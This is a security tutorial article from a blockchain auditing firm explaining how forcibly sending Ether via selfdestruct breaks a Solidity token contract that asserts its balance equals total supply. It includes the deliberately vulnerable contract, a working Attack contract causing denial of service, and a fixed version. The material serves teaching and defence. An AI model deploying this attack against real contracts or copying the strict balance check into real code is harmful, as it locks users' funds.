Contents

Solidity Security By Example #08: Unexpected Ether With Forcibly Sending Ether


Originally published in Valix Consulting’s Medium.

Smart contract security is one of the biggest impediments to the mass adoption of the blockchain. For this reason, we are proud to present this series of articles regarding Solidity smart contract security to educate and improve the knowledge in this domain to the public.

Forcibly sending ether is an attacker’s technique to manipulate a target contract balance. This article will describe how a smart contract relying on improper balance checking can be attacked and how to avoid the issue. Enjoy reading. 😊

You can find all related source code at 👉 https://github.com/serial-coder/solidity-security-by-example/tree/main/08_unexpected_ether_with_forcibly_sending_ether.

Disclaimer:

The smart contracts in this article are used to demonstrate vulnerability issues only. Some contracts are vulnerable, some are simplified for minimal, some contain malicious code. Hence, do not use the source code in this article in your production.

Nonetheless, feel free to contact Valix Consulting for your smart contract consulting and auditing services. 🕵


Table of Contents


.    .    .

The Vulnerability


The following code exhibits the InsecureMoonToken contract. The MOON is a non-divisible token with zero token decimals (line 12). Users can buy, sell, or transfer 1, 2, 3, or 46 MOONs but not 33.5 MOONs.

Besides the non-divisible characteristic, the MOON token is also a stablecoin pegged with the price of the ETH token (line 6). In other words, 1 MOON will always be worth 1 ETH.

Assuredly, the InsecureMoonToken contract is vulnerable. Can you catch up on the issue? 👀

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
pragma solidity 0.8.17;

contract InsecureMoonToken {
    mapping (address => uint256) private userBalances;

    uint256 public constant TOKEN_PRICE = 1 ether;
    string public constant name = "Moon Token";
    string public constant symbol = "MOON";

    // The token is non-divisible
    // You can buy/sell/transfer 1, 2, 3, or 46 tokens but not 33.5
    uint8 public constant decimals = 0;

    uint256 public totalSupply;

    function buy(uint256 _amount) external payable {
        require(
            msg.value == _amount * TOKEN_PRICE, 
            "Ether submitted and Token amount to buy mismatch"
        );

        userBalances[msg.sender] += _amount;
        totalSupply += _amount;
    }

    function sell(uint256 _amount) external {
        require(userBalances[msg.sender] >= _amount, "Insufficient balance");

        userBalances[msg.sender] -= _amount;
        totalSupply -= _amount;

        (bool success, ) = msg.sender.call{value: _amount * TOKEN_PRICE}("");
        require(success, "Failed to send Ether");

        assert(getEtherBalance() == totalSupply * TOKEN_PRICE);
    }

    function transfer(address _to, uint256 _amount) external {
        require(_to != address(0), "_to address is not valid");
        require(userBalances[msg.sender] >= _amount, "Insufficient balance");
        
        userBalances[msg.sender] -= _amount;
        userBalances[_to] += _amount;
    }

    function getEtherBalance() public view returns (uint256) {
        return address(this).balance;
    }

    function getUserBalance(address _user) external view returns (uint256) {
        return userBalances[_user];
    }
}
InsecureMoonToken.sol


In the InsecureMoonToken contract, users can buy MOON tokens with the corresponding number of Ethers via the buy function (lines 16–24). Users can also sell their MOONs through the sell function (lines 26–36), transfer their MOONs via the transfer function (lines 38–44), get their balances by consulting the getUserBalance function (lines 50–52), and get the total number of Ethers locked in the contract by way of the getEtherBalance function (lines 46–48).

As you can see, the InsecureMoonToken contract is straightforward. However, the contract got an improper balance assertion issue in line 35 in the sell function.

Specifically, the sell function hires the assert(getEtherBalance() == totalSupply * TOKEN_PRICE); statement to strictly assert that the Ether balance of the InsecureMoonToken contract (i.e., the getEtherBalance() part) must always be equal to the total supply of the MOON token (i.e., the totalSupply * TOKEN_PRICE part). This assertion ensures that the number of locked Ethers balances the MOON total supply.

Nevertheless, relying on the contract’s Ether balance as the sell function did is prone to attack. Consider if an attacker can send some small Ethers to lock into the InsecureMoonToken contract. What would happen? 🤔

Gotcha! 😱 The assertion statement would always be evaluated as false because the contract’s Ether balance would no longer match the MOON token’s total supply. This results in reverting all sell transactions.

Since the InsecureMoonToken contract does not implement the receive or fallback function, the contract regularly cannot receive any Ethers. But how can the attacker send Ethers into the contract? Figure 1 below illustrates the solution the attacker adopts to achieve the exploitation.

Figure 1. How the attacker forcibly sends Ethers into the InsecureMoonToken contract

Figure 1. How the attacker forcibly sends Ethers into the InsecureMoonToken contract


In Solidity, a special function named selfdestruct is used for removing the bytecode from the contract address executing it. Besides the contract bytecode removal, one side effect is that the Ethers stored in the removing contract would be forcibly sent to any specified address.

The selfdestruct function can forcibly send Ethers to even the contract that does not implement the receive or fallback function like the InsecureMoonToken contract. 🤢

This way, if the attacker deploys and executes the Attack contract containing the selfdestruct function, they can forcibly send Ethers to the InsecureMoonToken contract by specifying the InsecureMoonToken contract address as the argument of the selfdestruct function (i.e., selfdestruct(InsecureMoonToken)). 😬


.    .    .

The Attack


The following code presents the Attack contract that can be used to exploit the InsecureMoonToken contract.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
pragma solidity 0.8.17;

contract Attack {
    address immutable moonToken;

    constructor(address _moonToken) {
        moonToken = _moonToken;
    }

    function attack() external payable {
        require(msg.value != 0, "Require some Ether to attack");

        address payable target = payable(moonToken);
        selfdestruct(target);
    }
}
Attack.sol


To attack the InsecureMoonToken, an attacker performs the attack steps as follows.

  1. Deploy the Attack contract as well as specifying the InsecureMoonToken contract address as the contract deployment argument (line 6)

  2. Invoke the Attack.attack() function along with supplying some Ethers for attacking


After step 2, the supplied Ethers would be forcibly sent into the InsecureMoonToken contract by way of the selfdestruct function (line 14). Then, any sell transactions would be reverted, leading to a denial-of-service attack to the InsecureMoonToken contract. ☠️

Figure 2. The attack result

Figure 2. The attack result


Figure 2 displays the result of the attack. As you can see, two users bought 55 MOONs with 55 Ethers. But, after the attacker forcibly sent 1 Wei to the InsecureMoonToken contract, the users were no longer selling their MOONs.

Surprise!! you can buy it but may not sell it. 😭


.    .    .

The Solution


The FixedMoonToken contract below is the remediated version of the InsecureMoonToken contract. 👨‍🔧

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
pragma solidity 0.8.17;

contract FixedMoonToken {
    mapping (address => uint256) private userBalances;

    uint256 public constant TOKEN_PRICE = 1 ether;
    string public constant name = "Moon Token";
    string public constant symbol = "MOON";

    // The token is non-divisible
    // You can buy/sell/transfer 1, 2, 3, or 46 tokens but not 33.5
    uint8 public constant decimals = 0;

    uint256 public totalSupply;

    function buy(uint256 _amount) external payable {
        require(
            msg.value == _amount * TOKEN_PRICE, 
            "Ether submitted and Token amount to buy mismatch"
        );

        userBalances[msg.sender] += _amount;
        totalSupply += _amount;
    }

    function sell(uint256 _amount) external {
        require(userBalances[msg.sender] >= _amount, "Insufficient balance");

        userBalances[msg.sender] -= _amount;
        totalSupply -= _amount;

        (bool success, ) = msg.sender.call{value: _amount * TOKEN_PRICE}("");
        require(success, "Failed to send Ether");

        // FIX: Do not rely on address(this).balance. If necessary, however, 
        // apply assert(address(this).balance >= totalSupply * TOKEN_PRICE); instead
        assert(getEtherBalance() >= totalSupply * TOKEN_PRICE);
    }

    function transfer(address _to, uint256 _amount) external {
        require(_to != address(0), "_to address is not valid");
        require(userBalances[msg.sender] >= _amount, "Insufficient balance");
        
        userBalances[msg.sender] -= _amount;
        userBalances[_to] += _amount;
    }

    function getEtherBalance() public view returns (uint256) {
        return address(this).balance;
    }

    function getUserBalance(address _user) external view returns (uint256) {
        return userBalances[_user];
    }
}
FixedMoonToken.sol


The smart contract should avoid being dependent on the contract’s Ether balance (i.e., address(this).balance) as it can be artificially manipulated. If necessary, however, the contract should be prepared for such cases of contract balance manipulation.

To remediate the improper balance assertion issue, the FixedMoonToken contract’s assertion statement was improved by using the >= instead of the == symbol as follows: assert(getEtherBalance() >= totalSupply * TOKEN_PRICE); (line 37).

As a result, even if the contract balance is manipulated, the FixedMoonToken contract’s sell function could still work fine.


.    .    .

Summary


In this article, you have learned that incorrectly depending on improper contract balance assertion can lead to a denial-of-service attack in the smart contract. You have understood how an attacker exploits the vulnerable contract and how to avoid the issue. We hope you find this article useful. Until next time.

Again, you can find all related source code at 👉 https://github.com/serial-coder/solidity-security-by-example/tree/main/08_unexpected_ether_with_forcibly_sending_ether.


.    .    .

Author Details


Phuwanai Thummavet (serial-coder), Lead Blockchain Security Auditor and Consultant | Blockchain Architect and Developer.

See the author’s profile.


.    .    .

About Valix Consulting



Valix Consulting is a blockchain and smart contract security firm offering a wide range of cybersecurity consulting services. Our specialists, combined with technical expertise, industry knowledge, and support staff, strive to deliver consistently superior quality services.

For any business inquiries, please contact us via Twitter, Facebook, or info@valix.io.


.    .    .

Originally published in Valix Consulting’s Medium.